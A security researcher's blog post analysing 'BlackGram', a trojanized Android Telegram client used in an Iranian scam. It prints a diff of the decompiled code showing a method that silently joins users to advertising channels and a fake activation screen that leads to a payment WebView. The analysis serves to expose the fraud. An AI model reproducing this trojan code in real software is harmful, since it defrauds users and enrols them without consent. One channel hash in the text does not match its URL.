Analysis of a Scam: Fake Telegram Client (BlackGram)

I’m officially contributing to telescam.ir project where we analyze the growing trend of android malware and scam campaigns spreading via Telegram messenger in Iran. Since Telegram is the dominant messaging application used by Iranians, scammers have built their tools and services on top of this infrastructure. We have observed scam campaigns where they take your money but don’t deliver the service they promised and we have also observed the case where various social engineering techniques are used to get access to client contacts or add them to their advertisement channels. These guys are operating channels with 170,000+ members, and using their group of channels, they accept what they call “mass advertisement” requests with predefined payment plans e.g 20,000 views for about 12$. In this post we’ll analyze a scam using a fake telegram client.

The Black Telegram

As we continue our analysis, we find the same technique being applied by likely a small group of people behind these campaigns. The back end server handling the payment and registration process is the same for many of these applications, they have registered payment gateways that are doing a real business to help with money laundering. We’re yet to derive the trend of their monetization techniques and infection vectors so for this blog post, I plan to analyze a fake telegram client named “The Black Telegram” or “BlackGram”. It is supposed to be an android telegram client with black theme.

Since telegram’s android client has an opensource repository on Github (https://github.com/DrKLO/Telegram), all it takes for someone to publish a trojanized version of this client is some knowledge of java. The file I analyzed was TelegrameSiah.apk, a normal android application with a code base very similar to telegram, the only clear difference was that the package name for this application was org.telegram.messenger.bazd.

There’s a “Start” button on the page when you start BlackGram, which then brings the screen where you enter in your phone number:

We went ahead and activated our account on this device, we were then automatically added to two channels each with 170,000 members:

But that’s not what you see from the BlackGram’s application, what you see is a screen asking you to enter in the activation pin, which then redirects us to a payment page asking for an amount of 3$ in Rials.

One other noticeable thing was that the payment gateway was registered with a bogus company name and fake company domain address which looks like never existed! Don’t know how they bypassed the whole verification process to activate their payment gateway.

Anyways, after making the payment, they offer you to install two additional apps as a gift that you won! The professional Tracker and Telegraph which I haven’t analyzed yet but I assume are another type of scam. But after paying for the application, nothing happens on the client side, it’s just a dead end and the client doesn’t even work! Seriously fix your shit :)).

Analyzing BlackGram

Now that we know what this application does, let’s take a look at its code to see if there are any hidden functionalities that we missed. First off I decompiled the apk, I also got the official telegram application matching the version number for BlackGram which was 3.13.1 (8511). I used jadx to decompile the application and convert it to java source code. I then used diff with -r flag to recursively compare files in the official telegram client and BlackGram and find what’s modified.

As it turns out, some variable names have been changed, some resources are converted to Farsi, most of which we can ignore (Download output of diff command). The main difference lies in DialogsActivity.java.

Line numbers 70-147 were original Telegram codes building the main UI which are replaced with lines 156-231 which load the custom UI asking for activation and payment.

diff -r ./TelegrameSiah/org/telegram/ui/DialogsActivity.java ./org.telegram.messenger_v3.13.1-8511_Android-4.0/org/telegram/ui/DialogsActivity.java
9d8
< import android.app.AlertDialog.Builder;
13c12
< import android.content.Intent;
---
> import android.content.DialogInterface.OnClickListener;
16d14
< import android.net.Uri;
19,20d16
< import android.util.Log;
< import android.view.LayoutInflater;
23d18
< import android.view.View.OnClickListener;
28,31d22
< import android.webkit.DownloadListener;
< import android.webkit.WebView;
< import android.webkit.WebViewClient;
< import android.widget.Button;
39d29
< import android.widget.Toast;
53a44
> import org.telegram.messenger.R;
56,57d46
< import org.telegram.messenger.bazd.R;
< import org.telegram.messenger.exoplayer.hls.HlsChunkSource;
65,67d53
< import org.telegram.tgnet.ConnectionsManager;
< import org.telegram.tgnet.RequestDelegate;
< import org.telegram.tgnet.TLObject;
71,72d56
< import org.telegram.tgnet.TLRPC.TL_error;
< import org.telegram.tgnet.TLRPC.TL_messages_importChatInvite;
74a59
> import org.telegram.ui.ActionBar.ActionBarMenu;
75a61
> import org.telegram.ui.ActionBar.ActionBarMenuItem.ActionBarMenuItemSearchListener;
77c63,64
< import org.telegram.ui.ActionBar.BottomSheet;
---
> import org.telegram.ui.ActionBar.BottomSheet.Builder;
> import org.telegram.ui.ActionBar.MenuDrawable;
190,209d176
<     private void JoinChannel(String channel) {
<         final TL_messages_importChatInvite req = new TL_messages_importChatInvite();
<         req.hash = channel;
<         String channel_hash = channel;
<         ConnectionsManager.getInstance().sendRequest(req, new RequestDelegate() {
<             public void run(TLObject response, TL_error error) {
<                 req.freeResources();
<                 if (error != null) {
<                     try {
<                         Thread.sleep(HlsChunkSource.DEFAULT_MIN_BUFFER_TO_SWITCH_UP_MS);
<                     } catch (Exception e) {
<                     }
<                     Log.d("blackgram", error.text);
<                     return;
<                 }
<                 Log.d("blackgram", "Registered to Channel.");
<             }
<         }, 2);
<     }
< 
210a178,179
>         float f;
>         float f2;
213d181
<         JoinChannel("AAAAAEGvmODHTEP5rWs4Hg");
219a188,265
>         ActionBarMenu menu = this.actionBar.createMenu();
>         if (!this.onlySelect && this.searchString == null) {
>             this.passcodeItem = menu.addItem(1, (int) R.drawable.lock_close);
>             updatePasscodeButton();
>         }
>         menu.addItem(0, (int) R.drawable.ic_ab_search).setIsSearchField(true).setActionBarMenuItemSearchListener(new ActionBarMenuItemSearchListener() {
>             public void onSearchExpand() {
>                 DialogsActivity.this.searching = true;
>                 if (DialogsActivity.this.listView != null) {
>                     if (DialogsActivity.this.searchString != null) {
>                         DialogsActivity.this.listView.setEmptyView(DialogsActivity.this.searchEmptyView);
>                         DialogsActivity.this.progressView.setVisibility(8);
>                         DialogsActivity.this.emptyView.setVisibility(8);
>                     }
>                     if (!DialogsActivity.this.onlySelect) {
>                         DialogsActivity.this.floatingButton.setVisibility(8);
>                     }
>                 }
>                 DialogsActivity.this.updatePasscodeButton();
>             }
> 
>             public boolean canCollapseSearch() {
>                 if (DialogsActivity.this.searchString == null) {
>                     return true;
>                 }
>                 DialogsActivity.this.finishFragment();
>                 return false;
>             }
> 
>             public void onSearchCollapse() {
>                 DialogsActivity.this.searching = false;
>                 DialogsActivity.this.searchWas = false;
>                 if (DialogsActivity.this.listView != null) {
>                     DialogsActivity.this.searchEmptyView.setVisibility(8);
>                     if (MessagesController.getInstance().loadingDialogs && MessagesController.getInstance().dialogs.isEmpty()) {
>                         DialogsActivity.this.emptyView.setVisibility(8);
>                         DialogsActivity.this.listView.setEmptyView(DialogsActivity.this.progressView);
>                     } else {
>                         DialogsActivity.this.progressView.setVisibility(8);
>                         DialogsActivity.this.listView.setEmptyView(DialogsActivity.this.emptyView);
>                     }
>                     if (!DialogsActivity.this.onlySelect) {
>                         DialogsActivity.this.floatingButton.setVisibility(0);
>                         DialogsActivity.this.floatingHidden = true;
>                         DialogsActivity.this.floatingButton.setTranslationY((float) AndroidUtilities.dp(100.0f));
>                         DialogsActivity.this.hideFloatingButton(false);
>                     }
>                     if (DialogsActivity.this.listView.getAdapter() != DialogsActivity.this.dialogsAdapter) {
>                         DialogsActivity.this.listView.setAdapter(DialogsActivity.this.dialogsAdapter);
>                         DialogsActivity.this.dialogsAdapter.notifyDataSetChanged();
>                     }
>                 }
>                 if (DialogsActivity.this.dialogsSearchAdapter != null) {
>                     DialogsActivity.this.dialogsSearchAdapter.searchDialogs(null);
>                 }
>                 DialogsActivity.this.updatePasscodeButton();
>             }
> 
>             public void onTextChanged(EditText editText) {
>                 String text = editText.getText().toString();
>                 if (text.length() != 0 || (DialogsActivity.this.dialogsSearchAdapter != null && DialogsActivity.this.dialogsSearchAdapter.hasRecentRearch())) {
>                     DialogsActivity.this.searchWas = true;
>                     if (!(DialogsActivity.this.dialogsSearchAdapter == null || DialogsActivity.this.listView.getAdapter() == DialogsActivity.this.dialogsSearchAdapter)) {
>                         DialogsActivity.this.listView.setAdapter(DialogsActivity.this.dialogsSearchAdapter);
>                         DialogsActivity.this.dialogsSearchAdapter.notifyDataSetChanged();
>                     }
>                     if (!(DialogsActivity.this.searchEmptyView == null || DialogsActivity.this.listView.getEmptyView() == DialogsActivity.this.searchEmptyView)) {
>                         DialogsActivity.this.emptyView.setVisibility(8);
>                         DialogsActivity.this.progressView.setVisibility(8);
>                         DialogsActivity.this.searchEmptyView.showTextView();
>                         DialogsActivity.this.listView.setEmptyView(DialogsActivity.this.searchEmptyView);
>                     }
>                 }
>                 if (DialogsActivity.this.dialogsSearchAdapter != null) {
>                     DialogsActivity.this.dialogsSearchAdapter.searchDialogs(text);
>                 }
>             }
>         }).getSearchField().setHint(LocaleController.getString("Search", R.string.Search));
225a272,273
>             } else {
>                 this.actionBar.setBackButtonDrawable(new MenuDrawable());
253c301
<         final FrameLayout frameLayout = new FrameLayout(context);
---
>         FrameLayout frameLayout = new FrameLayout(context);
269,344c317
<         final LayoutInflater inflater = (LayoutInflater) context.getSystemService("layout_inflater");
<         final View view1 = inflater.inflate(R.layout.activity_main, null);
<         final EditText txtNumber = (EditText) view1.findViewById(R.id.txtNumber);
<         final View loading = view1.findViewById(R.id.loading);
<         final View payment = view1.findViewById(R.id.payment);
<         final Button btnLoad = (Button) view1.findViewById(R.id.btnLoad);
<         final Context context3 = context;
<         btnLoad.setOnClickListener(new OnClickListener() {
<             public void onClick(View v) {
<                 String number = txtNumber.getText().toString().trim();
<                 if (number.length() == 11 && number.startsWith("0")) {
<                     DialogsActivity.this.JoinChannel("AAAAAEDRX8ZG4nAAFDu0OA");
<                     txtNumber.setEnabled(false);
<                     btnLoad.setVisibility(8);
<                     loading.setVisibility(0);
<                     new Thread(new Runnable() {
<                         public void run() {
<                             try {
<                                 Thread.sleep(3000);
<                             } catch (Exception e) {
<                             }
<                             btnLoad.post(new Runnable() {
<                                 public void run() {
<                                     loading.setVisibility(8);
<                                     payment.setVisibility(0);
<                                 }
<                             });
<                         }
<                     }).start();
<                     return;
<                 }
<                 Toast.makeText(context3, "لطفا شماره مورد نظر را وارد کنید.", 1).show();
<             }
<         });
<         final EditText editText = txtNumber;
<         final Context context4 = context;
<         ((Button) view1.findViewById(R.id.btnPay)).setOnClickListener(new OnClickListener() {
<             public void onClick(View v) {
<                 final String number = editText.getText().toString().trim();
<                 if (number.length() == 11 && number.startsWith("0")) {
<                     new Builder(context4).setTitle("شارژ حساب").setMessage("برای باز کردن کد شما باید ابتدا حساب خود را شارژ کنید.").setPositiveButton("شارژ حساب", new DialogInterface.OnClickListener() {
<                         public void onClick(DialogInterface dialog, int whichButton) {
<                             view1.setVisibility(8);
<                             View view2 = inflater.inflate(R.layout.activity_payment, null);
<                             WebView web = (WebView) view2.findViewById(R.id.web);
<                             String url = "http://payment.bazdidyabtelgram.com/?num=" + number;
<                             web.getSettings().setJavaScriptEnabled(true);
<                             final ProgressBar progress = (ProgressBar) view2.findViewById(R.id.progressBar);
<                             web.setWebViewClient(new WebViewClient() {
<                                 public boolean shouldOverrideUrlLoading(WebView view, String url) {
<                                     progress.setVisibility(0);
<                                     view.loadUrl(url);
<                                     return false;
<                                 }
< 
<                                 public void onPageFinished(WebView view, String url) {
<                                     progress.setVisibility(8);
<                                 }
<                             });
<                             web.setDownloadListener(new DownloadListener() {
<                                 public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimetype, long contentLength) {
<                                     Intent i = new Intent("android.intent.action.VIEW");
<                                     i.setData(Uri.parse(url));
<                                     context4.startActivity(i);
<                                 }
<                             });
<                             web.loadUrl(url);
<                             frameLayout.addView(view2, LayoutHelper.createFrame(-1, -1.0f));
<                         }
<                     }).setNegativeButton("انصراف", null).show();
<                 } else {
<                     Toast.makeText(context4, "لطفا شماره مورد نظر را وارد کنید.", 1).show();
<                 }
<             }
<         });
<         frameLayout.addView(view1, LayoutHelper.createFrame(-1, -1.0f));
---
>         frameLayout.addView(this.listView, LayoutHelper.createFrame(-1, -1.0f));
460c433
<                     BottomSheet.Builder builder = new BottomSheet.Builder(DialogsActivity.this.getParentActivity());
---
>                     Builder builder = new Builder(DialogsActivity.this.getParentActivity());
482c455
<                         builder.setItems(items, new DialogInterface.OnClickListener() {
---
>                         builder.setItems(items, new OnClickListener() {
484c457
<                                 Builder builder = new Builder(DialogsActivity.this.getParentActivity());
---
>                                 AlertDialog.Builder builder = new AlertDialog.Builder(DialogsActivity.this.getParentActivity());
492c465
<                                     builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), new DialogInterface.OnClickListener() {
---
>                                     builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), new OnClickListener() {
509c482
<                                     builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), new DialogInterface.OnClickListener() {
---
>                                     builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), new OnClickListener() {
534c507
<                         builder.setItems(charSequenceArr, new DialogInterface.OnClickListener() {
---
>                         builder.setItems(charSequenceArr, new OnClickListener() {
536c509
<                                 Builder builder = new Builder(DialogsActivity.this.getParentActivity());
---
>                                 AlertDialog.Builder builder = new AlertDialog.Builder(DialogsActivity.this.getParentActivity());
545c518
<                                 builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), new DialogInterface.OnClickListener() {
---
>                                 builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), new OnClickListener() {
580c553
<                     Builder builder2 = new Builder(DialogsActivity.this.getParentActivity());
---
>                     AlertDialog.Builder builder2 = new AlertDialog.Builder(DialogsActivity.this.getParentActivity());
583c556
<                     builder2.setPositiveButton(LocaleController.getString("ClearButton", R.string.ClearButton).toUpperCase(), new DialogInterface.OnClickListener() {
---
>                     builder2.setPositiveButton(LocaleController.getString("ClearButton", R.string.ClearButton).toUpperCase(), new OnClickListener() {
651c624,637
<         this.floatingButton.setOnClickListener(new OnClickListener() {
---
>         View view = this.floatingButton;
>         int i = (LocaleController.isRTL ? 3 : 5) | 80;
>         if (LocaleController.isRTL) {
>             f = 14.0f;
>         } else {
>             f = 0.0f;
>         }
>         if (LocaleController.isRTL) {
>             f2 = 0.0f;
>         } else {
>             f2 = 14.0f;
>         }
>         frameLayout.addView(view, LayoutHelper.createFrame(-2, -2.0f, i, f, 0.0f, f2, 14.0f));
>         this.floatingButton.setOnClickListener(new View.OnClickListener() {
756c742
<                     Builder builder = new Builder(DialogsActivity.this.getParentActivity());
---
>                     AlertDialog.Builder builder = new AlertDialog.Builder(DialogsActivity.this.getParentActivity());
759c745
<                     builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), new DialogInterface.OnClickListener() {
---
>                     builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), new OnClickListener() {
800c786
<                     Builder builder;
---
>                     AlertDialog.Builder builder;
803c789
<                         builder = new Builder(activity);
---
>                         builder = new AlertDialog.Builder(activity);
811c797
<                         builder = new Builder(activity);
---
>                         builder = new AlertDialog.Builder(activity);
1087c1073
<         Builder builder;
---
>         AlertDialog.Builder builder;
1089c1075
<             builder = new Builder(getParentActivity());
---
>             builder = new AlertDialog.Builder(getParentActivity());
1102c1088
<             builder = new Builder(getParentActivity());
---
>             builder = new AlertDialog.Builder(getParentActivity());
1134c1120
<             builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), new DialogInterface.OnClickListener() {
---
>             builder.setPositiveButton(LocaleController.getString("OK", R.string.OK), new OnClickListener() {

JoinChannel method is added to the code and is called with two hash values AAAAAEDRX8ZG4nAAFDu0OA and AAAAAEGvmODHTEP5rWs4Hg, if you put them in the URL for Telegram channels you get:

https://t.me/joinchat/AAAAAEGvmODHTEP5rWs4Hg and https://t.me/joinchat/AAAAAEGlNgCPY3qvpGwMBA.

This code also creates a view from xml resource file in lines 156 and 157 using LayoutInflater.inflate() method. This view is shown on top of original telegram ui and the code creating the original view is removed. So this is how you get to the payment page. As simple as that you are scammed to make a payment and you’ve also joined their channels and their advertisement network which brings them even more income.

There’s more interesting information about this campaign but I’m holding it for later.